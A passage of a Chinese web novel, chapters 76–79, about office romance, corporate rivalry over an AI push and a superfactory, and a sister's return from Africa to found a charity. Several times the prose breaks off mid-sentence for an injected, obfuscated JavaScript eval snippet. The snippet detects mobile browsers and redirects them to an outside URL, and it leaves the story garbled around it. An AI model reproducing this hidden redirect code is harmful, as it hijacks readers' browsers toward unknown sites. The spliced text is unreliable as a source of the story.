他看着她，为了陆沉渊，将自己活成了一把最锋利的剑，为他披荆斩棘。 他也看着自己，为了追随陆沉渊，成为了一个没有私生活的陀螺。 后来，一个叫钱闪闪的女孩，闯入了他的生活。 女孩很主动，也很漂亮。 她说，她喜欢他的成熟稳重。 林远当时正被母亲催着谈恋爱，他自己也觉得，或许应该开始一段新的感情，彻底埋葬过去。 于是，他稀里糊涂地就答应了。 他们在一起了。 但林远知道，那不是爱情。 他太忙了。 作为陆沉渊的特助，后来又成为渊龙科技的CEO，他的时间被分割成无数个碎片，没有一片属于自己。 他没有时间约会，没有时间看电影，甚至没有时间好好地陪钱闪闪吃一顿饭。 他能给的，只有钱。 名牌包，奢侈品，还有定期的转账。 他用这种方式，弥补着自己的亏欠。 他也知道，这段关系很不正常。 钱闪闪对他，总是带着一种若有若无的敷衍。 她对他母亲的态度，也算不上热络。 林远不是傻子，他能感觉到。 但他总把原因归结到自己身上。 是自己陪她的时间太少了。 是自己不够浪漫。 可就在今晚。 当他看到任茜在长椅上痛哭的时候，一个念头，无比清晰地从林远心底最深处浮现出来。 这么多年了。 他从来，没有忘记过这个学姐。 任茜哭，他的心会痛。 而钱闪闪，无论做什么，似乎都无法在他的心里激起一丝波澜。 这个念头升起的同时，巨大的负罪感也淹没了他。 林远觉得自己不是人，简直和禽兽无异。 他有女朋友。 却还在想着另一个女人。 …… 车停在了任茜的公寓楼下。 “到了。”林远轻声说。 任茜睁开眼，眼中的茫然已经褪去了一些，只剩下无尽的疲惫。 “今天……谢谢你。”她解开安全带。 “学姐，”林远忽然开口，“别想太多了。早点休息。” 任茜看了他一眼，点了点头，推开车门，下了车。 林远没有立刻离开。 他看着任茜走进楼道，看着她那一层的灯光亮起，才默默地调转车头，消失在夜色中。 回到自己的公寓，林远脱下外套，把自己重重地摔在沙发上。 他拿出手机，看着钱闪闪的通讯头像。 他想问问她在哪，在做什么。 可打了几个字，又都删掉了。 **该说什么。 也忽然觉得，自己似乎，也并不那么在乎答案。 他闭上眼，脑海里浮现的，却是任茜哭泣的脸，和她紧紧握着那瓶温水时，脆弱无助的样子。 他发现，原来那份被埋藏的感情，早已在自己心里，生根发芽，长成了参天大树。 …… 失恋后的几天。 任茜像个没事人一样，正常地上班，下班。 渊龙科技的CO ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348521|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' O，依然是那个雷厉风行，杀伐果断的女王。 她和陆沉渊之间，也恢复了纯粹的工作关系。 开会，汇报，讨论方案。 谁也看不出，几天前，她刚刚经历了一场长达十年的盛大暗恋的落幕。 只有她自己知道，心里的某个地方空了。 但同时，似乎也卸下了千斤重担。 她不再需要追逐那道遥不可及的光。 她可以，做回她自己。 那天晚上林远的出现，像一颗石子，投进了她原本死水一潭的心湖。 她开始下意识地去观察林远，这个一直被她当成可靠学弟和得力同事的男人。 他开会时，会习惯性地为她准备好一杯温水。 他讨论问题时，眼神专注，逻辑清晰。 他面对下属时，虽然严肃，却很公正。 他看向自己的眼神里，总是带着一种，她以前从未注意过的，小心翼翼的温柔。 当局者迷，旁观者清。 任茜在心里自嘲地笑了笑。 这么多年，她的眼睛里只装得下陆沉渊一个人。 竟然完全没有发现，这个小学弟对自己藏着这样深的心思。 至于林远的女朋友钱闪闪，任茜早就觉得不对劲。 同为女人，她能轻易地看穿另一个女人眼神里的算计和虚伪。 有几次，钱闪闪来公司找林远，任茜都曾撞见过。 那个女孩身上，永远是最新款的名牌，看林远的眼神，不像看爱人，更像看一张长期的饭票。 任茜也曾隐晦地提醒过林远。 但林远，要么是太忙没放在心上，要么就是对感情的事，迟钝得令人发指。 以前，任茜觉得这是林远的私事，自己不该插手。 她对陆沉渊，爱而不得，尚且自顾不暇。 但现在，不一样了。 她看着办公桌对面，正专注地看着文件的林远。 这个男人，正直，忠诚，有能力，还对自己一往情深。 比陆沉渊那个冷血木头，强一百倍，强一千倍。 一个念头，在任茜的心里，疯狂地滋长。 陆沉渊的心不在她身上，她没办法，也不想用强。 可林远的心，在她这里。 那…… 就别怪自己，出**男人了。 想明白这一点后，任茜感觉眼前豁然开朗。随之而来的是，对陆沉渊的滤镜碎得一干二净。 剩下的，只有纯粹的，对战友和老板的欣赏。 以及，对陆沉渊不提醒林远这件事的，一点点不满。 第76章 拨云见月 这天下午。 渊龙科技的顶层，COO办公室。 任茜拿着一份文件，走进了隔壁陆沉渊的办公室。 “陆总，这份关于‘星链’收购的后续方案，你看一下。” 她将文件放在桌上，一副公事公办的模样。 陆沉渊拿过文件，快速翻阅着。 任茜没有离开，她就站在办公桌前静静地看着他。 “方案没问题。”陆沉渊看完，签下自己的名字。 陆沉渊抬起头，发现任茜还在。 “还有事？” “嗯，”任茜点了点头，拉开他对面的椅子，坐了下来，“我们聊聊林远。” 陆沉渊的眉梢，微不可察地挑了一下。 他看着眼前的任茜。 她的眼神很平静，甚至带着一丝审视的意味。 不再有过去的仰望和痴迷。 “林远的女朋友，钱闪闪。”任茜开门见山，“她的事，你早就知道，对不对？” 陆沉渊的目光沉了沉，他没有承认也没有否认。 但这份沉默，本身就是一种回答。 任茜笑了，她的笑容甚至带着一丝冰冷的嘲讽。 “你果然知道。” “陆沉渊，林远跟了你多少年？从大学到现在，他为你做了多少事？他是你的左膀右臂，是你最信任的人，也算是你半个弟弟了。” 她的声音不大，却字字清晰，像一把锋利的刀子。 “你就这么看着他被一个女人骗？看着他辛辛苦苦赚的钱，被那个女人拿去养别的男人？” “你什么都不说，什么都不做。” “那天晚上，你用最残忍的方式，让我死心。你说，长痛不如短痛。” “怎么到了林远这里，你就任由他被温水煮青蛙了？” 任茜站起身，双手撑在办公桌上，身体前倾，直视着陆沉渊的眼睛。 “陆沉渊，你就是个混蛋！一个自私又冷血的混蛋！” 骂完这句话后，任茜忽然感觉，压在心头近十年的那块巨石，瞬间，烟消云散。 原来，把心里的话毫无顾忌地骂出来，是这么畅快的一件事。 这才是她，任茜。 不是那个在爱人面前卑微到尘埃里的女人。 而是一个敢爱敢恨，肆意潇洒的女王。 陆沉渊看着眼前这个，仿佛一瞬间脱胎换骨的任茜，有一瞬间的失神。 他愣住了。 他认识任茜快十年了。 她永远是那么得体，专业，冷静。 他从未见过她如此……鲜活，如此有攻击性的一面。 片刻的错愕之后，陆沉渊的嘴角竟然勾起了一抹极淡的笑意。 这样的任茜，似乎比以前更加强大了。 “骂完了？”他问。 “骂完了。”任茜直起身，重新恢复了冷静。 “所以，”陆沉渊身体向后靠在椅背上，双手交叉放在身前，“你打算怎么帮他？” 他没有为自己辩解。 因为任茜说的，有一部分是事实。 他确实知道钱闪闪有问题。 他手下的信息渠道，可以查清大部分他想知道的人和事。 他之所以没说，一是因为尊重林远的私生活。感情的事，外人很难插手。 二是因为，他知道，以林远的性格，除非亲眼看到，否则他是不会相信的。 现在，任茜把这件事捅破了。 并且，她显然是想亲自来解决这个问题。 陆沉渊自然是乐见其成。 “我要你帮忙。”任茜说，“把那个女人的底细，还有她脚踏两只船的证据，都给我。” “可以。”陆沉渊点头，没有丝毫犹豫。 他拿起内线电话。 “让张奇到我办公室来一趟。” …… 张奇的效率很高。 不过半天的时间，一份详细的资料就放在了任茜的办公桌上。 钱闪闪，24岁，某直播平台小主播。 一年前，通过一个商业酒会，刻意接触到了林远。 在和林远交往的同时，她还和一名健身教练保持着亲密关系。 那个健身教练，是她的前男友。 两人一直没有断。 钱闪闪用林远给的钱，为那个健身教练租了高档公寓，买了好几万的摩托车。 资料里，附上了十几张照片。 有两人亲密逛街的，有在餐厅里互相喂食的，甚至有深夜一同进入那个高档公寓的。 每一张，都是铁证。 任茜看着这些照片，眼神越来越冷。 她把那张健身教练和钱闪闪亲密相拥的照片，单独抽了出来，仔仔细细地看了一遍。 然后，她拿起手机，拨通了林远的电话。 “林远，晚上有空吗？我们两个一起吃个饭。” 电话那头的林远，显然愣了一下。 我们两个？！ 从学生时代到现在，多年的共事情分，大家在一起吃饭的次数其实也不算太少。 但是，像今天这样，任茜非公务性地主动约他吃饭，确实是第一次。 “有……有空。”他的声音带着隐隐的忐忑，以及一丝丝连他自己都未曾察觉的惊喜。 “好，那就去‘云凌阁’吧，我请客。”任茜说。 “学姐，怎么能让你请，我来……” “听我的。”任茜不容置喙地打断他，“就这么定了，七点，云凌阁见。” 挂断电话，任茜的嘴角勾起一抹势在必得的笑容。 根据陆沉渊给出地信息，那个健身教练，就在“云凌阁”楼下的顶级健身会所工作。 而钱闪闪，几乎每天下班后都会去那里等他。 然后，两人会在“云凌阁”吃一顿昂贵的晚餐。 当然，用的是林远的钱。 今晚，她就要让林远亲眼看一出好戏。 …… 晚上七点。 云凌阁旋转餐厅。 林远提前十五分钟就到了。 他穿了一身得体的休闲西装，头发也精心打理过。 看得出来，他对这次约会非常重视。 任茜准时到达。 她穿着一身简约的黑色长裙，外面披着一件米色的风衣，优雅，干练。 “学姐。”林远站起身，替她拉开椅子。 “等很久了？”任茜笑着问。 “没有，我也刚到。” 两人坐下，点了餐。 然后两人之间的气氛就变得有些微妙。 林远显得有些拘谨，一点也没有渊龙科技CEO那种叱咤商场的气魄。 他一直在找话题，从公司的新项目，聊到最近的金融市场。 就像是，再正常不过的两个公司高管，在商务会谈。 任茜只是含笑听着，偶尔应和几句。 她的目光，却时不时地飘向餐厅的入口处。 终于，那个和照片里相似身影出现了。 钱闪闪挽着一个身材高大健硕的男人，有说有笑地走了进来。 两人举止亲密，俨然就是一对热恋中的情侣。 服务员将他们引到了靠窗的另一边，刚好距离任茜和林远的位置，不远不近。 正好能看清，又不会被轻易发现。 任茜的眼神，示意了一下。 “林远，你看那边，那个女孩，是不是钱闪闪？”她故作惊讶地问。 林远的身体瞬间僵住了，似乎有些无措。 然后，他顺着任茜的目光看过去。 当他看清那个女孩的脸，和他身边那个男人的时候。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348522|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林远的瞳孔，猛地收缩了一下。 他的脸上血色尽褪。 但他没有愤怒，没有咆哮。 甚至，没有一丝一毫的激动。 他只是静静地看着。 看着钱闪闪，小鸟依人地靠在那个男人怀里。 看着那个男人，温柔地为钱闪闪擦去嘴角的酱汁。 那样的亲密，那样的自然。 是林远和她在一起一年，从未有过的。 这一刻，所有过去的疑惑，所有不正常的细节，都有了答案。 林远的心里，竟然没有想象中的愤怒和背叛感。 反而，是一种前所未有的解脱。 像是压在心口的一块巨石，终于被搬开了。 像是困扰了他很久的一道难题，终于找到了清晰的解法。 原来，不是我的问题。 他忽然很想笑。 笑自己这一年来的自责和内疚。 笑自己，竟然会被这样拙劣的演技，欺骗了这么久。 他收回目光，看向对面的任茜。 任茜的眼神里，带着一丝担忧。 “你……还好吗？”她轻声问。 “我没事。”林远摇了摇头，他的表情平静得吓人。 他拿起餐巾，擦了擦嘴角。 然后，他站了起来。 “学姐，失陪一下。” 说完，林远迈开长腿，径直朝着钱闪闪那一桌走了过去。 任茜的心，提了起来。 她不知道林远会做什么。 是当场质问？还是大闹一场？ 然而，林远接下来的举动，却超出了所有人的预料。 他走到那一桌前。 钱闪闪和那个健身教练，也发现了他。 钱闪闪的脸色，“唰”地一下，变得惨白。 她慌乱地，想要推开身边的男人。 “林……林远？你怎么会在这里？”她语无伦次。 林远没有看她身边的男人。 他的目光平静地落在钱闪闪的脸上。 “我们分手吧。”林远说。 声音不大，却清晰地传入了在场每个人的耳朵里。 钱闪闪愣住了。 她预想过无数种被发现的场景。 争吵，质问，歇斯底里。 却唯独没有想过，会是这样平静的一句通知。 “不……不是的，林远，你听我解释，他……他是我表哥！”钱闪闪慌忙地找着借口。 林远看着她，忽然笑了。 那笑容里，没有恨，没有怨，只有释然。 “不用解释了。” “祝你们幸福。” 说完，他甚至还朝那个目瞪口呆的健身教练，礼貌地点了点头。 然后，他转身，干脆利落地走回了自己的座位。 整个过程，不到两分钟。 没有一丝拖泥带水。 任茜看着走回来的林远，看着他脸上那如释重负的表情，心中悬着的石头，终于落了地。 她忽然觉得。 自己这个学弟，在感情上虽然木讷迟钝。 可一旦让他看清了真相，他比任何人都更果决。 林远坐回到座位上，端起面前的水杯，一饮而尽。 “抱歉，学姐，让你看笑话了。” “没有。”任茜摇了摇头，“我反而觉得，你今天，特别帅。” 林远一愣。 他抬起头，对上任茜那双亮晶晶的，带着欣赏和笑意的眼睛。 他的心跳，漏了一拍。 那份刚刚从背叛中解脱出来的心，在这一刻，被另一种更加汹涌，也更加温暖的情绪裹挟。 窗外，是京州璀璨的夜景。 窗内，是两个拨云见日后，相视而笑的人。 第77章 新的战场 渊龙科技，顶层会议室。 陆沉渊，林远，任茜，以及几位核心部门的负责人，悉数在座。 会议室里的气氛颇为郑重。 “这是盘古实验室的最新报告。” 陆沉渊将一份文件，轻轻推到会议桌中央。 “苏阳和若溪的团队，成功开发出了一个全新的自然语言处理模型，他们命名为‘女娲’。” 在座的高管们，眼中闪过一丝喜色。 盘古实验室是公司的重点投资项目，能出成果对所有人都是利好。 “但是，”陆沉渊的话锋一转，“‘女娲’遇到了瓶颈。” “算力。” 他吐出两个字。 “它太庞大了，现有的计算架构，无法支撑它的商业化运行。” 刚刚升起的喜悦，瞬间被凝重取代。 所有人都明白这意味着什么。 一个无法投入应用的技术，价值将大打折扣。 “所以，”陆沉渊的目光扫过全场，声音平静却有力，“我决定，逐步调整渊龙科技的战略重心。” “从今天起，人工智能将不再是辅助业务。” “它在不久的将来，会成为我们所有产业的核心驱动力。无论是‘无距’汽车，还是生物医疗。” 会议室里，落针可闻。 所有人都被陆沉渊这番话的份量震慑住了。 这意味着，渊龙科技将从一家硬件和系统集成的公司，向更高维度的，以算法为核心的科技帝国转型。 这是一次豪赌。 赌赢了，**。 赌输了，万劫不复。 “为了实现这个目标，”陆沉渊继续说道， “我决定，渊龙科技将正式报名参加今年的世界人工智能大赛，WAIC。” “轰——” 这个消息，像一枚重磅**在会议室里炸开。 WAIC。 全球人工智能领域的最高殿堂。 所有国际巨头都会在那里，展示自己最顶尖的技术。 渊龙科技，一个成立不过两年的公司要去挑战那些巨人？ “参赛团队，就是盘古实验室。” “由陆若溪和苏阳领衔。” 林远的心头一紧。 他比任何人都清楚盘古实验室的现状。 让一个连算力瓶颈都没解决的团队，去参加世界大赛？ 这不是让他们去被公开处刑吗？ “陆总，这会不会太仓促了？”林远忍不住开口，“他们的模型，还不成熟。” “我就是要让他们不成熟。”陆沉渊的回答，出人意料。 “温室里长不出参天大树。只有把他们扔进最残酷的战场，他们才能以最快的速度成长。” 他的目光，变得锐利而深邃。 “这次参赛，我们有两个目的。” “第一，锻炼团队。让他们亲眼看看，世界顶级的水平在哪里，差距在哪里。败了，没关系。找到方向，比什么都重要。” “第二，品牌镀金。我要让全世界都知道，‘渊龙’这个名字。我们不仅能造车，更能定义未来。” 陆沉渊站起身，走到落地窗前，俯瞰着这座城市。 “林远，任茜。” “在。”两人立刻应声。 “从现在起，盘古实验室的预算，没有上限。他们要人给人，要设备给设备。” “你们的任务，就是为他们扫清一切障碍。” “是！” …… 京州大学，盘古实验室。 苏阳看着电脑屏幕上，那个代表着WAIC的官方网站，愣了一下。 “林总，您不是在开玩笑吧？” 他有点怀疑自己看到的东西。 “陆总的决定。”林远将一份盖着渊龙科技公章的**，放在他面前，“公司会全力支持你们。” “可……可是我们的‘女娲’，连算力问题都没解决！现在去参赛，很难！”苏阳的情绪有些激动。 旁边的陆若溪，却一直很平静。 她拿起那份文件，仔细看了一遍。 “大哥的决定，一定有他的道理。”她开口道， 陆若溪的声音一贯的清冷，却带着一种安抚人心的力量。 她看向苏阳：“你说的对，我们现在的技术架构是一条死路。” “但比赛，还有三个月。” “这三个月，足够我们找到一条新的路。” 苏阳愣愣地看着她。 看着她那双永远清澈、永远充满自信的眼睛。 焦躁的心，竟然奇迹般地平静了下来。 是啊。 陆总都敢下这个注。 自己，又有什么好怕的？ “我明白了。”苏阳深吸一口气，眼中重新燃起了斗志，“不就是算力吗？我们从底层架构开始，重新设计！” “好。”陆若溪点头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但他强迫自己冷静下来。 “这正好是我们的机会！”厉烬川沉声说，“他被AI拖住了精力，后方必然空虚。我们现在动手，正是最好的时机！” 第78章 无距奠基 厉烬川认为狂妄的陆沉渊居然在这个时候，将精力转到人工智能上，简直是自寻死路。 “你的计划，需要多少钱？”秦雅问。 “五个亿。秦氏新能源和他的供应商打价格战” “同时，在全球范围内，挖他的墙角。” 厉烬川说出了自己的价码。 “五个亿，去打一场没有技术壁垒的消耗战？”秦雅挑了挑眉， “厉烬川，你这是在用秦家的钱，为你自己出一口恶气。” 她看得很透。 厉烬川的计划，本质上是伤敌八百，自损一千。 秦家和墨家在传统能源领域本就是死对头。 她想打击陆沉渊，更多的是想打击他背后的墨家。 但她不想用这种愚蠢的方式。 厉烬川的心，沉了下去。 “给我一个必须投你的理由。”秦雅靠在椅背上，审视着他。 厉烬川沉默了片刻。 然后，他抬起头，直视着秦雅的眼睛。 “因为我是厉烬川。” “因为我是唯一一个，能让陆沉渊和陆若溪，同时感到厌恶和警惕的人。” “因为我比任何人都想他死。” “这股恨意，就是我最大的价值。也是你，现在最需要的武器。” 他的话，坦诚得近乎残忍。 他把自己，当成了一件武器，一件充满了仇恨的武器，摆在了秦雅的面前。 秦雅笑了。 “很好。” “我喜欢你的坦诚。” 她站起身，走到酒柜前，倒了两杯红酒。 她将其中一杯，递给厉烬川。 “秦氏新能源，会得到集团的全力支持。五个亿，下周一会到你公司的账上。” “我要你，在陆沉渊的‘无距’超级工厂投产之前，彻底撕碎他的供应链。” “做得到吗？” 厉烬川接过酒杯，一饮而尽。 “当然。” ………… 渊龙科技宣布进军人工智能，仅仅是陆沉渊抛出的第一颗信号弹。 三天后，一则更重磅的公告，从渊龙科技官网发出。 公司将投资百亿，在京州南郊，建设“无距”超级工厂。 一石激起千层浪。 所有人的目光，都聚焦到了那片曾属于厉修剑，后被陆沉渊截胡的土地上。 巧合的是，同日下午，国际巨头思特拉集团，也宣布在京州南郊建厂。 两座未来的超级工厂，隔着一条规划中的公路，遥遥相望。 **味，在项目启动的第一天，就已弥漫开来。 渊龙科技，顶层办公室。 林远快步走了进来，脸色凝重。 “陆总，出事了。”他将一份文件放在桌上，“我们的项目审批，在规划局卡住了。” 陆沉渊头也不抬，语气平静：“理由。” “环保评估，土地规划复核。”林远沉声说，“都是官方套话。我找人打听了，背后是秦家在动手。” 厉烬川成了秦氏新能源的总裁，立刻就动用了秦家在政界的关系网，设置行政壁垒，想用这种上不了台面的方式，拖慢陆沉渊的脚步。 “要不要找关系跟他们碰一碰？”林远问道。 “不用。”陆沉渊摇了摇头，“跟他们玩这种游戏，太浪费时间，也太低级。” 他站起身，走到落地窗前。 “厉烬川看到的，是人情关系。而我要让他们看到的，是大势。” 陆沉渊转身，看着林远： “把工厂能带来的产业带动、税收、就业岗位，以及我们人工智能实验室的资料，整理成一份简报给我。” 林远虽不完全明白，但立刻应声：“是。” 他知道，陆总肯定有了更高维度的打法。 两天后，一份会见申请，递交到了京州市府高层的案头。 申请人，陆沉渊。 会见对象，主管经济的陈副市长。 秦氏集团，厉烬川得知消息后，露出一丝冷笑。 “他果然还是想走上层路线。”他自信地对秦雅说， “没用的，陈市长出了名的稳重，绝不会为了他得罪秦家。” 秦雅端着咖啡，没有说话。 她总觉得，事情不会这么简单。 陆沉渊这个人，像一片深海，永远看不透。 京州市府，会客室。 陈副市长看着眼前的年轻人，开门见山：“陆总，你和秦家的商业竞争，我们不便介入。” 态度明确，和厉烬川的预判一模一样。 陆沉渊并没有任何意外的表情。 他将一份亲手装订的报告，轻轻推了过去。 “陈市长，您误会了。” “我今天来，不是告状，也不是求助。” “我只是作为一个企业家，想向您汇报一下，我对京州未来产业布局的一点思考。” 这个开场白，让陈副市长愣了一下。 他拿起那份报告，封面上只有一行黑体字： 《关于打造京州“新一代信息技术与高端制造业”融合发展示范区的建议》。 不像企业报告，更像政策研究课题。 他翻开第一页，眼神就变了。 通篇没有提渊龙科技的困难，反而站在城市发展的高度，分析了思特拉入驻带来的机遇与挑战。 …… 看完这个报告后，陈市长陷入沉思。 陆沉渊看着陈市长，目光诚恳，接着说道： “一个高端制造工厂，一个顶尖算法实验室。这两者结合，就是京州未 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那些昨天还拍着胸脯保证的官员，今天全都像躲瘟神一样，取消了饭局，推掉了会面。 他想不通，布下的关系网，为何一夜之间全部失效。 他猛地将手机，狠狠砸在地上。 “怎么会这样？” 秦雅站在一旁，将一份新闻推送递到他面前。 京州市府宣布启动“新一代信息技术与高端制造业”融合发展示范区计划，渊龙科技与思特拉项目成首批核心企业。 “现在，你看懂了吗？”秦雅的声音听不出喜怒。 “他从来，就没想过要跟你下同一盘棋。” “他直接掀了棋盘，然后自己，重新制定了一套规则。” 厉烬川看着那条新闻，看着“渊龙科技”四个字被放在何等重要的位置，一股寒意从脚底直冲天灵盖。 他第一次发现，自己引以为傲的手段，在陆沉渊掀动大势的阳谋面前，是如此不堪一击。 他以为自己在第三层，却不知，陆沉渊已经站在大气层。 一周后。 京州南郊，彩旗飘扬。 “渊龙科技‘无距’超级工厂奠基仪式”，正式举行。 陆沉渊站在主席台上，和陈副市长等市府领导一起，为奠基石，铲起了第一捧土。 闪光灯中，不远处的挖掘机发出了震耳欲聋的轰鸣。 一个属**龙科技的崭新时代，就此破土而出。 “无距”超级工厂的奠基，也给渊龙科技的供应商打下了一剂强心剂，相应的股票也疯涨起来。 厉烬川的价格战策略，还没开始，就胎死腹中。 第79章 千金归来 京州国际机场，T3航站楼。 一架来自非洲的航班，平稳落地。 陆沉渊站在VIP通道的出口，安静地等待着。 他身后，张奇抱着一件备用的风衣，神色也带着几分期待。 一年多了。 陆家的小公主，终于要回来了。 通道的门打开，旅客陆续走出。 陆沉渊的目光，很快锁定了两个身影。 走在前面的女孩，穿着一身简单的白色T恤和卡其色工装裤，脚上是一双磨旧的登山鞋。 她的皮肤，是常年暴露在烈日下的健康小麦色，与过去那个白得发光的大小姐，判若两人。 长发被利落地扎成马尾，露出了光洁的额头。 她的脸上没有丝毫妆容，眼神却格外地明亮。 她就是陆芊芊。 在她的身后，一步之遥的距离，是姬无双。 姬无双还是那身黑色的劲装，气息沉稳，即使是回到国内，似乎也并没有放松警惕。 她像是陆芊芊的影子，沉默却充满了力量。 陆芊芊看到了陆沉渊。 她的脚步顿了一下，那双沉静的眼眸里，瞬间泛起了一层水光。 她加快了脚步，几乎是小跑着，冲到了陆沉渊面前。 “大哥。” 她开口，声音带着一丝沙哑，却再也没有了过去的娇嗲。 “我回来了。” 陆沉渊伸出手，想像过去一样拍拍她的头。 但手伸到一半，却停住了。 眼前的女孩，已经不是那个需要他庇护的温室花朵。 她似乎长高了，也站直了。 仿佛像一棵在风雨中顽强生长的树，现在已经足以依靠自身去抵挡风雨。 他收回手，改为拍了拍她地肩膀，嘴角露出一丝欣慰的笑意。 “欢迎回家。” 简单的四个字，让陆芊芊瞬间破防。 她猛地扑进陆沉渊的怀里，把脸深深埋在他的胸口，肩膀剧烈地颤抖着。 这一年，她经历了太多。 见过最触目惊心的贫穷，也面对过最凶险的**。 她亲眼看到过，一个孩子因为一片干净的面包，对她露出天使般的笑容。 也曾和姬无双一起，在**和**声中，躲在废弃的掩体里彻夜未眠。 她知道了父母的**，知道了自己的身世，知道了那个名叫厉修剑的男人，是她血缘上的父亲，也是她大哥的死敌。 她没有在姬无双面前哭过。 也从未对任何人，表露过一丝一毫的软弱。 可是在见到大哥的这一刻，所有强撑的坚硬外壳，瞬间土崩瓦解。 陆沉渊没有说话，只是轻轻地，拍着她的后背。 这个拥抱，是她迟到了一年的释放。 许久，陆芊芊才抬起头，眼眶红红的，但眼神已经恢复了清明。 “大哥，让你见笑了。” “傻丫头。”陆沉渊看着她，“走吧，回家。” 他转向姬无双，点了点头：“姬女士，辛苦了。” “分内之事。”姬无双的回答，一如既往地简洁。 她将一个厚重的战术背包递给张奇，自己则拎起另一个行李箱，跟在陆家兄妹身后。 张奇接过背包，差点没站稳。 他暗暗咋舌，这背包里装的绝对不是化妆品和漂亮衣服。 一行人走向停车场，很快回到楼家庄园。 楼梦玲早已等在门口。 她看着那个晒黑了、也清瘦了许多的女儿，眼泪一下子就涌了出来。 “芊芊！” “妈。”陆芊芊走上前，给了母亲一个拥抱。 没有哭闹，没有撒娇。 她只是轻轻拍着母亲的背，安抚着她。 曾经娇纵的小公主，已经开始学会安抚他人。 “妈，我很好，别担心。” 楼梦玲看着女儿成熟沉稳的样子，又是心疼，又是欣慰。 她的女儿是真的长大了。 楼梦玲特地为陆芊芊准备的接风宴。 陆明业没有出现。 自从离婚之后，尤其是柳眉事件之后，他几乎从陆家几个孩子的生活中消失了。 餐桌上，只有陆沉渊、楼梦玲、陆芊芊和姬无双四人。 “无双，你也坐。”楼梦玲热情地招呼着，“这一年，多亏你照顾芊芊了。” “阿姨客气了。”姬无双本想推辞，但在陆芊芊的请求下，还是安静地坐了下来。 饭桌上，陆芊芊讲述着她在国外的见闻。 她没有说那些惊心动魄的危险，只说了那些地方的风土人情，孩子们的眼睛，还有当地人最朴素的愿望。 她的讲述，很平静，很客观，却让听的人仿佛身临其境。 楼梦玲听得入了神，眼中的担忧渐渐被一种自豪所取代。 陆沉渊则安静地听着，偶尔给陆芊芊夹一块她爱吃的菜。 他的目光，时不时会落在陆芊芊和姬无双的身上。 他发现，她们之间有一种无言的默契。 陆芊芊的一个眼神，姬无双就能明白她的意思，递上纸巾或是温水。 姬无双的一个微小的动作，陆芊芊也能立刻领会，调整自己的坐姿或是话题。 这种默契，超越了雇主与保镖，更像是血与火中结下的战友情谊。 一顿饭，吃得温馨而平静。 晚饭后，楼梦玲拉着女儿有说不完的话。 陆沉渊则来到了书房。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348525|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “进来吧。”他对着空无一人的门口说。 片刻后，姬无双推门而入。 “陆先生。” “坐。”陆沉渊指了指对面的沙发，“这次叫你来，有两件事。” “第一，感谢你。这一年，你做得很好。” “这是你的酬劳。”他将一张黑色的银行卡推了过去。 姬无双没有去看那张卡。 “保护雇主，是我的职责。” “一码归一码。”陆沉渊温和地说道，“这是你应得的。” 姬无双沉默片刻，收下了那张卡。 “第二件事。”陆沉渊看着她，“我想续约。芊芊接下来要做的事，同样需要你的保护。” “我的合约，已经结束了。”姬无双摇头，“我需要休整。” “我明白。”陆沉渊点头， “我给你三个月假期，带薪。三个月后，如果你愿意，随时可以回来。薪酬，在原有基础上，翻倍。” 姬无双的眼中，闪过一丝讶异。 她看着陆沉渊。 这个男人，永远都这么直接，也永远都能精准地抓住人性的需求。 钱，尊重，信任。 他都给得足足的。 “我会考虑。”她没有立刻答应。 “好。”陆沉渊没有强求，“我等你消息。” 第二天，陆芊芊没有倒时差，一大早就出现在了渊龙科技的顶层。 她直接走进了陆沉渊的办公室。 “大哥，我有事想跟你谈。”她的表情很严肃。 陆沉渊放下手中的文件，示意她坐。 “我想成立一个基金会。”陆芊芊开门见山。 她将一个厚厚的笔记本，放在陆沉渊的桌上。 上面，是她用了一年时间，亲手记录的调研笔记和构想。 “我在很多地方看到，国际援助和慈善项目，存在很多问题。资金使用不透明，项目执行效率低下，官僚主义严重，很多钱都没有真正落到需要的人手里。” “所以，我想做一个不一样的基金会。” “一个更专业，更高效，更国际化的慈善基金会。” 她的眼中，闪烁着光芒。 “我不需要它有多大的规模，但我要求它的每一个项目，都必须精准。我们要做的，不是简单的捐钱捐物，而是要带去技术，带去教育，带去能让他们自我造血的模式。” 